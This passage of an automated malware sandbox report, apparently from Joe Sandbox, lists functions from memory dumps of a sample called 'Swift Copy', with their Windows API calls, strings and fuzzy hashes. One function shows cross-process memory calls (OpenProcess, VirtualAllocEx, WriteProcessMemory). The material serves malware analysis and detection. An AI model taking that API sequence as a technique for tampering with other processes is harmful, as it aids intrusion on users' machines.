Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c36aa03c84fcaf80cff0376827fddea116ba06a744ad10f193de8647febe5c0b
Instruction ID: 6a9fbf52b323aab9dd0a9e265b540d11b9667e3ae8972580642290f4e501a7db
Opcode Fuzzy Hash: c36aa03c84fcaf80cff0376827fddea116ba06a744ad10f193de8647febe5c0b
Instruction Fuzzy Hash: D0018F72600204BFDB104F69DC04BBA7EADEB84752F248225F905E2210D776DD848BB0

Function 00DDE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00DDE997
QueryPerformanceFrequency.KERNEL32(?), ref: 00DDE9A5
Sleep.KERNEL32(00000000), ref: 00DDE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00DDE9B7
Sleep.KERNEL32 ref: 00DDE9F3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: f0368be5a0c004b647255198b6fed3fdfdd01f1df158cc8b67aecace76053261
Instruction ID: e818860c27568ca3e77933f41a5894dac21197659c684f5365695352382773c8
Opcode Fuzzy Hash: f0368be5a0c004b647255198b6fed3fdfdd01f1df158cc8b67aecace76053261
Instruction Fuzzy Hash: 1E011731C02629DBCF00ABE6DC69AEDFB78FB09701F100656E542B6251CB3196998BA1

Function 00DD10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00DD1114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD1120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00DD0B9B,?,?,?), ref: 00DD1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00DD114D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 06dd1ba27d71278d4e0eb0208cca3669be1ed8364a670a0b4e875fd1dbecc544
Instruction ID: bd7e8736d01f0289490ff559aebd2637ac336495900fa1fbfb32da7eb025cf9f
Opcode Fuzzy Hash: 06dd1ba27d71278d4e0eb0208cca3669be1ed8364a670a0b4e875fd1dbecc544
Instruction Fuzzy Hash: 67011D79101305BFDB114FA5DC49A6A3B7EEF89360B244515FA45D7350DA32DC849A60

Function 00DD0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00DD0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00DD0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00DD0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00DD0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00DD1002

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3e4f75c55c167d1683df3fba7780db6f05a3e80f6c70afe93d5e0e17425c2022
Instruction ID: e922cde4de68dbc8bf8a24e81ded39a0bb27a035172c4105631f3d9d8a066467
Opcode Fuzzy Hash: 3e4f75c55c167d1683df3fba7780db6f05a3e80f6c70afe93d5e0e17425c2022
Instruction Fuzzy Hash: C5F0AF39140302BFD7211FA59C49F563B6DEF89761F200515F905D6250CA31DC808A60

Function 00DD1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00DD102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00DD1036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD1045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00DD1062

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 9c2c968f44edc3867b8fc8bfb93bf017d8c4c1050c31bad15f401bfec9802f0c
Instruction ID: ebe7f89718480dc4c49d08be37b22f95b1e4bc252893911bfff108822e2549cf
Opcode Fuzzy Hash: 9c2c968f44edc3867b8fc8bfb93bf017d8c4c1050c31bad15f401bfec9802f0c
Instruction Fuzzy Hash: 94F04939201301BFDB216FA6EC49F663BADEF89761F240515FA45E6250CA72D8848A60

Function 00DE030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00DE017D,?,00DE32FC,?,00000001,00DB2592,?), ref: 00DE0324
CloseHandle.KERNEL32(?,?,?,?,00DE017D,?,00DE32FC,?,00000001,00DB2592,?), ref: 00DE0331
CloseHandle.KERNEL32(?,?,?,?,00DE017D,?,00DE32FC,?,00000001,00DB2592,?), ref: 00DE033E
CloseHandle.KERNEL32(?,?,?,?,00DE017D,?,00DE32FC,?,00000001,00DB2592,?), ref: 00DE034B
CloseHandle.KERNEL32(?,?,?,?,00DE017D,?,00DE32FC,?,00000001,00DB2592,?), ref: 00DE0358
CloseHandle.KERNEL32(?,?,?,?,00DE017D,?,00DE32FC,?,00000001,00DB2592,?), ref: 00DE0365

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 90b9cb27bc75663db864975de0ece11965fa95581c1cf660c974719580dfbe12
Instruction ID: 3cc1f321891342710747b17d3bfe05fd79b9261b2d514b41ea805aa19a9661f0
Opcode Fuzzy Hash: 90b9cb27bc75663db864975de0ece11965fa95581c1cf660c974719580dfbe12
Instruction Fuzzy Hash: 1401AE72800B559FCB30AF66D880812FBF9BF603153198A3FD19652931C3B1A998CF90

Function 00DAD73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00DAD752

Part of subcall function 00DA29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000), ref: 00DA29DE
Part of subcall function 00DA29C8: GetLastError.KERNEL32(00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000,00000000), ref: 00DA29F0

_free.LIBCMT ref: 00DAD764
_free.LIBCMT ref: 00DAD776
_free.LIBCMT ref: 00DAD788
_free.LIBCMT ref: 00DAD79A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ea22048de59b337d403776d97211f6caeb9be652736a7e4f677a0e4876c39ff5
Instruction ID: 0a04668304671d31a5373e0a2641b1fa61487ff161d88acd0f585fe8193b45cf
Opcode Fuzzy Hash: ea22048de59b337d403776d97211f6caeb9be652736a7e4f677a0e4876c39ff5
Instruction Fuzzy Hash: ADF0EC32544208AF8669EB6AF9C5C2A7BDEFB46710BA90C05F04AF7911C730FC808A75

Function 00DD5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00DD5C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00DD5C6F
MessageBeep.USER32(00000000), ref: 00DD5C87
KillTimer.USER32(?,0000040A), ref: 00DD5CA3
EndDialog.USER32(?,00000001), ref: 00DD5CBD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 0b8dbd29b631b73cfe4efadd42635236f4efd4994b450a5dbe7e3950f93614b4
Instruction ID: b2442c1b39132eb7c1367db28e9852872b3270ee5e6d90b0137b8e7b595a4eb1
Opcode Fuzzy Hash: 0b8dbd29b631b73cfe4efadd42635236f4efd4994b450a5dbe7e3950f93614b4
Instruction Fuzzy Hash: FB018B30510B049FEB305B15FD4EFA577B8BB00B45F04065AA587711E1DBF299C88A60

Function 00DA22A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00DA22BE

Part of subcall function 00DA29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000), ref: 00DA29DE
Part of subcall function 00DA29C8: GetLastError.KERNEL32(00000000,?,00DAD7D1,00000000,00000000,00000000,00000000,?,00DAD7F8,00000000,00000007,00000000,?,00DADBF5,00000000,00000000), ref: 00DA29F0

_free.LIBCMT ref: 00DA22D0
_free.LIBCMT ref: 00DA22E3
_free.LIBCMT ref: 00DA22F4
_free.LIBCMT ref: 00DA2305

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9fb320d47fbf53f996a6a73141b71ad34c3371672e39899faa0d06c96b8a0d2b
Instruction ID: 17739bd22a9559f1c85b443500a9095299685246d0716c3ac9106150f59df967
Opcode Fuzzy Hash: 9fb320d47fbf53f996a6a73141b71ad34c3371672e39899faa0d06c96b8a0d2b
Instruction Fuzzy Hash: 94F054785402108F8B56AF6BBC018293F64F71BB517160566F510F2371C730555ABFF9

Function 00D895C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00D895D4
StrokeAndFillPath.GDI32(?,?,00DC71F7,00000000,?,?,?), ref: 00D895F0
SelectObject.GDI32(?,00000000), ref: 00D89603
DeleteObject.GDI32 ref: 00D89616
StrokePath.GDI32(?), ref: 00D89631

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 67adaed6a51b1e9b7b4847c8b4e147898972c9df78e54c0516d530d72e492fc9
Instruction ID: d6d7ef7ccca58f52746e71e2a556c9aad06b0f5f972858d2f212352393bdfca7
Opcode Fuzzy Hash: 67adaed6a51b1e9b7b4847c8b4e147898972c9df78e54c0516d530d72e492fc9
Instruction Fuzzy Hash: E3F01938006204EFDB126F66ED287643B65EB82362F188354F6A9750F0D73189DADF20

Function 00DA0F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00DA10F9
__freea.LIBCMT ref: 00DA1117

Part of subcall function 00DA1537: _free.LIBCMT ref: 00DA154F

Strings

am/pm, xrefs: 00DA117A
a/p, xrefs: 00DA11DE

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 989fbaa6c5e9f246f6df9bd1c9b6ee51c06716fea1c07ce309cbef61be6bc6a4
Instruction ID: a6edaffbf13c25c64c3194ec21f748fd181de4fb9ac13055e74ce12a3b068b1e
Opcode Fuzzy Hash: 989fbaa6c5e9f246f6df9bd1c9b6ee51c06716fea1c07ce309cbef61be6bc6a4
Instruction Fuzzy Hash: E6D1F039900206DADF289F68C856BFABBB5EF07310F2C4259E941AB650D375DD80CBB5

Function 00DF61D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00D90242: EnterCriticalSection.KERNEL32(00E4070C,00E41884,?,?,00D8198B,00E42518,?,?,?,00D712F9,00000000), ref: 00D9024D
Part of subcall function 00D90242: LeaveCriticalSection.KERNEL32(00E4070C,?,00D8198B,00E42518,?,?,?,00D712F9,00000000), ref: 00D9028A

Part of subcall function 00D900A3: __onexit.LIBCMT ref: 00D900A9

__Init_thread_footer.LIBCMT ref: 00DF6238

Part of subcall function 00D901F8: EnterCriticalSection.KERNEL32(00E4070C,?,?,00D88747,00E42514), ref: 00D90202
Part of subcall function 00D901F8: LeaveCriticalSection.KERNEL32(00E4070C,?,00D88747,00E42514), ref: 00D90235

Part of subcall function 00DE359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 00DE35E4
Part of subcall function 00DE359C: LoadStringW.USER32(00E42390,?,00000FFF,?), ref: 00DE360A

Strings

x#, xrefs: 00DF633A
x#, xrefs: 00DF6353
x#, xrefs: 00DF636F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#$x#$x#
API String ID: 1072379062-1894725482
Opcode ID: 3a30b4ded5c5eb2bf3918d7f630de470adfe09c29aa6382da4a63f439d7509e7
Instruction ID: 1b3d1267dab4b009b227fe4d08b34e1edf8634d5e726aaaa321e33020c911088
Opcode Fuzzy Hash: 3a30b4ded5c5eb2bf3918d7f630de470adfe09c29aa6382da4a63f439d7509e7
Instruction Fuzzy Hash: A0C15E71A00109AFCB14EF58D891DBEB7B9EF49300F158069FA55AB291DB70ED45CBB0

Function 00DF7B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00D90242: EnterCriticalSection.KERNEL32(00E4070C,00E41884,?,?,00D8198B,00E42518,?,?,?,00D712F9,00000000), ref: 00D9024D
Part of subcall function 00D90242: LeaveCriticalSection.KERNEL32(00E4070C,?,00D8198B,00E42518,?,?,?,00D712F9,00000000), ref: 00D9028A

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00D900A3: __onexit.LIBCMT ref: 00D900A9

__Init_thread_footer.LIBCMT ref: 00DF7BFB

Part of subcall function 00D901F8: EnterCriticalSection.KERNEL32(00E4070C,?,?,00D88747,00E42514), ref: 00D90202
Part of subcall function 00D901F8: LeaveCriticalSection.KERNEL32(00E4070C,?,00D88747,00E42514), ref: 00D90235

Strings

G, xrefs: 00DF7C7F
Variable must be of type 'Object'., xrefs: 00DF7C3A
5, xrefs: 00DF7C78

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: fb76ea1075032c2b8ae8d52f257222cbdefcea676ba44069356bb885f03e9690
Instruction ID: 0dc6cd768527cc6b6cd2028d63a15cc84f826f80514aa15d7c898734e1a0d0b8
Opcode Fuzzy Hash: fb76ea1075032c2b8ae8d52f257222cbdefcea676ba44069356bb885f03e9690
Instruction Fuzzy Hash: 8D917974A04209EFCB04EF54D8919FDB7B1EF49300F558059FA46AB292EB71AE81CB71

Function 00DD2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00DDB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00DD21D0,?,?,00000034,00000800,?,00000034), ref: 00DDB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00DD2760

Part of subcall function 00DDB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00DD21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00DDB3F8

Part of subcall function 00DDB32A: GetWindowThreadProcessId.USER32(?,?), ref: 00DDB355
Part of subcall function 00DDB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00DD2194,00000034,?,?,00001004,00000000,00000000), ref: 00DDB365
Part of subcall function 00DDB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00DD2194,00000034,?,?,00001004,00000000,00000000), ref: 00DDB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00DD27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00DD281A

Strings

@, xrefs: 00DD2832

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
